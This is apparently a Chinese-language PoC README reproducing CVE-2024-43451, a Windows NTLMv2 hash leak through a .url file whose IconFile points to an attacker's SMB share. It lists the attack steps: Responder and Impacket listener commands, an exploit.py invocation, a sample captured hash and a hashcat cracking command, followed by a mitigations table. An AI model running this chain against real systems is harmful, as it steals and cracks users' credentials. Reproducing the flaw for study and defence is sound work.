CVE复现:cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 是一个 Windows 中的 NTLMv2 哈希泄露欺骗漏洞。它允许未经身份验证的远程攻击者通过诱使受害者与恶意的 .url 快捷方式文件交互来泄露受害者的 NTLM 哈希。触发该漏洞所需的用户交互极少——只需右键单击、删除或移动文件就足以泄露哈希。其 CVSS 评分为 6.5(中等),且已在野外被积极利用。CISA 已将其列入已知被利用漏洞(KEV)目录。
NTLM(NT LAN Manager)是 Windows 使用的一种质询-响应身份验证协议。当客户端尝试通过 SMB 访问资源时,客户端和服务器会执行一次握手:
NEGOTIATE_MESSAGE。CHALLENGE_MESSAGE。AUTHENTICATE_MESSAGE——这是质询与用户密码哈希、用户名和域组合的 HMAC-MD5 结果。如果攻击者能够观察或触发对其控制机器的 NTLM 身份验证尝试,捕获的 AUTHENTICATE_MESSAGE 可以离线破解以恢复明文密码。
.url 文件是 Internet Explorer 和 Windows Explorer 用于存储链接的快捷方式文件。它是一个 INI 格式的文件,包含 [InternetShortcut] 部分。用于利用的关键字段是:
URL= — Windows 将打开的目标 URL。IconFile= — 指向图标资源的可选 UNC 路径。当 Windows Explorer 渲染该文件时,它会自动尝试从远程共享检索图标,从而触发向攻击者服务器的 NTLM 身份验证尝试。攻击者创建一个 .url 文件,其 IconFile 参数指向 \\attacker-ip\share\icon.ico。当受害者:
Windows Explorer 会尝试从 UNC 路径加载图标,将受害者的 NTLMv2 哈希发送给攻击者的 SMB 监听器(例如 Responder)。
2024 年 11 月补丁星期二更新之前的所有受支持 Windows 版本:
使用 Responder:
sudo responder -I eth0 -v
或使用 Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
以下任何操作都会触发哈希泄露:
攻击者的 SMB 监听器收到 NTLMv2 哈希:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# 参见本仓库中的 exploit.py 以获取完整的 PoC 实现。
# 该脚本生成一个 .url 文件,其中 IconFile 设置为:
# \\192.168.1.100\share\icon.ico
# 并可选择通过 IconIndex 设置自定义显示图标。
| Inveigh |
| 基于 PowerShell 的 Windows NTLM 捕获工具 |
| 缓解措施 | 描述 |
|---|
| 应用 2024 年 11 月补丁 | 安装来自 KB5044285 的微软安全更新 |
| 阻止出站 SMB(端口 445) | 防止 NTLM 哈希离开网络边界 |
| 尽可能禁用 NTLM | 仅使用 Kerberos 身份验证 |
| 启用 SMB 签名 | 即使哈希被捕获也能防止中继攻击 |
| 用户安全意识培训 | 教育用户不要与意外的 .url 文件交互 |
| 限制 .url 文件处理 | 使用组策略阻止 .url 文件的执行或通过电子邮件传递 |